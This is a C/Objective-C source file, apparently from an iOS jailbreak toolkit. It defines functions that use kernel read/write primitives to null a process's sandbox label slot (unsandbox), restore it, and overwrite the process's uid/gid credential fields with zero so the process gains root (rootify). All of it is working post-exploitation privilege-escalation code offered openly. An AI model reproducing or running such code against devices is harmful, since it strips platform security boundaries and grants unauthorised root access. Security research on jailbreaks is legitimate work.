
#include "kernel_utils.h"
#include "offsetof.h"

#import <Foundation/Foundation.h>
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)

uint64_t unsandbox(pid_t pid) {
    if (!pid) return -1;
    
    LOG("[*] Unsandboxing pid %d\n", pid);
    
    uint64_t proc = proc_of_pid(pid); // pid's proccess structure on the kernel
    uint64_t ucred = KernelRead_64bits(proc + off_p_ucred); // pid credentials
    uint64_t cr_label = KernelRead_64bits(ucred + off_ucred_cr_label); // MAC label
    uint64_t orig_sb = KernelRead_64bits(cr_label + off_sandbox_slot);
    
    KernelWrite_64bits(cr_label + off_sandbox_slot /* First slot is AMFI's. so, this is second? */, 0); //get rid of sandbox by nullifying it
    
    return (KernelRead_64bits(KernelRead_64bits(ucred + off_ucred_cr_label) + off_sandbox_slot) == 0) ? orig_sb : -1;
}

int sandbox(pid_t pid, uint64_t sb) {
    if (!pid) return -1;
    
    LOG("[*] Sandboxing pid %d with slot at 0x%llx\n", pid, sb);
    
    uint64_t proc = proc_of_pid(pid); // pid's proccess structure on the kernel
    uint64_t ucred = KernelRead_64bits(proc + off_p_ucred); // pid credentials
    uint64_t cr_label = KernelRead_64bits(ucred + off_ucred_cr_label /* MAC label */);
    KernelWrite_64bits(cr_label + off_sandbox_slot /* First slot is AMFI's. so, this is second? */, sb);
    
    return (KernelRead_64bits(KernelRead_64bits(ucred + off_ucred_cr_label) + off_sandbox_slot) == sb) ? 0 : -1;
}

int rootify(pid_t pid) {
    if (!pid) return -1;
    
    uint64_t proc = proc_of_pid(pid);
    uint64_t ucred = KernelRead_64bits(proc + off_p_ucred);
    //make everything 0 without setuid(0), pretty straightforward.
    KernelWrite_32bits(proc + off_p_uid, 0);
    KernelWrite_32bits(proc + off_p_ruid, 0);
    KernelWrite_32bits(proc + off_p_gid, 0);
    KernelWrite_32bits(proc + off_p_rgid, 0);
    KernelWrite_32bits(ucred + off_ucred_cr_uid, 0);
    KernelWrite_32bits(ucred + off_ucred_cr_ruid, 0);
    KernelWrite_32bits(ucred + off_ucred_cr_svuid, 0);
    KernelWrite_32bits(ucred + off_ucred_cr_ngroups, 1);
    KernelWrite_32bits(ucred + off_ucred_cr_groups, 0);
    KernelWrite_32bits(ucred + off_ucred_cr_rgid, 0);
    KernelWrite_32bits(ucred + off_ucred_cr_svgid, 0);
    
    return (KernelRead_32bits(proc + off_p_uid) == 0) ? 0 : -1;
}


